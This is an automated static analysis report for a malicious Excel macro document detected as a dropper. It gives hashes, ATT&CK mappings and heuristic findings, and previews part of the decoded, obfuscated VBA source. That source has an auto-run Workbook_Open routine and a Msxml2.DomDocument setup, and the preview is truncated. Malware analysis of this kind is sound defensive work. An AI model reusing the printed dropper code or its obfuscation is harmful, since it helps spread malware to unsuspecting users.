Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3069b85234cff265…

MALICIOUS

Office (OLE)

90.5 KB Created: 2018-03-22 23:12:46 Authoring application: Microsoft Excel First seen: 2019-05-31
MD5: c7837359aa9623c82f971d8c82051e68 SHA-1: 7cf724363f7f8d682449251cb3145a3a0c560b27 SHA-256: 3069b85234cff2658657d4f5ce697d941e85d36e35c79f550c76fdbce4e0242d
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The file is an Excel document containing VBA macros, specifically a Workbook_Open macro. Heuristics indicate the use of CreateObject and obfuscated p-code, suggesting the macro is designed to execute arbitrary code. The ClamAV detection 'Doc.Dropper.Agent' further supports that this file acts as a dropper for other malicious content. No specific URLs or further payloads were extracted, but the intent is clearly to download and execute a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6482327-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6482327-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 27690 bytes
SHA-256: a7669954f473140b1e87bfa466a7a33d6c8c2c90a1548647112d55ee1ae0c8b3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 14 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub workbook_open()


gvnVhskcApXenOerY.NzLHclEKBvvnJjWXsfAs
Dim LCGPgwBqakBQymySmijyfdlVTSItfbbKEkZLtwbgkOjQtf As Worksheet
If pXlEkJvBNhQkwNnIKzJrLNNnYqHDOQuUcndlHbqROCXruIANsbEkHCTbK = yfuCrnwnwIIkCAjJscJpVsQptLmMJNZTBbJvvOWPaDyArcp Then
Dim bUbOZKloFPEJgBkdjiojbqnNeFtPRuQyRVKriyAJPmDgqFqOqZPR As Date
Dim CtOkhNkTQWWLzGrLqtvkhfTpnGWZPfYrfyvXHaKVNhstPrhkNeYxeej
Dim XaYxaqLDlxegAKUDPiZXAmaZvZlLlHbNAOYxidjeBdHvkKgata As Byte
End If
Dim IOEHjkzyBBEzSdVRgmlWVmzvVXfepksLSKzNItfoxjbi As Worksheet
If ZBLeZSeuoWFVOJmME = UJQJthIdHJnGxYlKQWTMBFXGxWvEdyzG Then
Dim TjdaLZfUCARIrnryTKymTADPmKLXlDAIKgnOvLzrqyJBnO As Date
Dim OJfxkTAMnTgNoANIjyAIyLAdCILHwUqBbXvCsnTgIysUhhXydhPKBfQ
Dim CJBubItQTcelQFLQv As Byte
End If


Dim fTAzTgvVlMdOFgAwHstqsrYOiYrCvGtRRTfieQjcFZqvQB As Worksheet
If NwepIMSaCnulRu = osZeSLwmASRqJQkTBdygKvYGyhzrQrntzooNALcEFbvMXRCCpjmRmkjtUS Then
Dim glMFVIeYrUbXSpAubizMjgexBhFWGPEushfrszGmh As Date
Dim yahaRQwQsIAtHjzGODoDIScPgelKIBbcMfk
Dim GxWjQJFNGEBlxfkdwSjZgyRtnfl As Byte
End If
Dim IrgYhcztJrTXu As Worksheet
If CEWLftnfXYfJdGEI = fdwlXxWZfUIymblcupWbbGNtrGkT Then
Dim BODWukeOXmWFiwgLkpswmDPnjdgYQCtRNDYRQm As Date
Dim DBxXFITRsfaBJCNngxzPmREFyUsFrfYOvylrzPyGUSkByO
Dim trDZWaRAzlwrYkPNZNGLGKQWoR As Byte
End If


End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "gvnVhskcApXenOerY"
Dim OsNDXqetgIwFOkZtjSRBRqqYzumipXnRnwmKLascsPludPMbaB As String
Dim pArepXCoEdEwDIUfRSyOhIZpIBFvvjhKHohmZJGOHXWPXvLcZyxudMTgaCVoSGtUvupPbiFILjGKmKRNpcWwmnhvUALWnSwBeBTdFwBrspjtFIuQlIypkwiHMuuaXjVtnFgkqnHtafDwEopM As String
Dim RLwVtbsJbtNiXwsHxmagKBPjgIgqRqZsSYDgXayTHpWJMweofDpphDhPwNpkuCslUVPzsMkWoGYUfFWjesKOAkLOqokKlNYFxlprhevTSSAaeNkrqFFBrdkjJAJEcal As String
Dim glEbZFfEtloKPLHEIOLMQcgblBnbJITbrZVgDXXpSvAWBDbvkSmZwWLEFdpYRDvlSMSqpbAlqVtUbJZhZsrqWtfVNRaahzXOAPEollFIRBjbcqcvDHzZ As Integer
Sub NzLHclEKBvvnJjWXsfAs()
 OsNDXqetgIwFOkZtjSRBRqqYzumipXnRnwmKLascsPludPMbaB = "Msxml2.DomDocument"
Dim MoiJtGTHsLcPYKduubFNQtyIoqOyYFKOLqcKiVcoYrSiAyJfGBbLXzaS As Worksheet
If pZVDsVimBOEiiSLZ = zQpYbQHpgirXezqMPKUIAZwDJ Then
Dim fgluaxnpBMGKCrZRfWKdLICYrSYyDZZUmPvjWuFlEicmjCNTuqUD As Date
Dim lZyXeNCIYplbmmXnvqvkQZZcgPopFFDMFWiMQYEIrxMPwAAxeaXE
Dim ujmMAVrPZNCTlYWQDKWXlntSMJgfPqLfiySVjWLvhpjevsdXdjuTD As Byte
End If
Dim zTHqTzrpLAjBXlmGBghyaqwEOXT As Worksheet
If gIBfwrbifKfPWUGVpAdXHqQcCMVcJWD = cwfKgKUmKvDGwVRLeUVGDlzMprYcjWyZJGD Then
Dim TqKZLUNScEkUGlBqIoPzq As Date
Dim wTVolsCoxexpSxUUvJmqSXIFWSrifqltHMWWokac
Dim KefamfnngWNedJYZLQSSBUIHsEiGayfKjJfosiSreDBI As Byte
End If
 On Error Resume Next
Dim cGPxoxLYSHbqVXhiwg As Worksheet
If MirCuTdjgdyaoxSAelokSdmGrcioTU = AjuxqTRaMwUERiarTdYVtvuMOjvkKS Then
Dim koQMcOgqHziDZsQNLEgzJFQxaFpijGXhPtLfoFFLLcW As Date
Dim ZmpVBwAYrDKJfYSlXZxHAbBofgkZGyUngir
Dim LkjnliifdEkfHWTimNUVxkBqULaRti As Byte
End If
Dim WcwgGAolMYRwYkuBdDmQiaLNtajsSZHQmuhHiaPTuBBwDBMQvTiXfd As Work
... (truncated)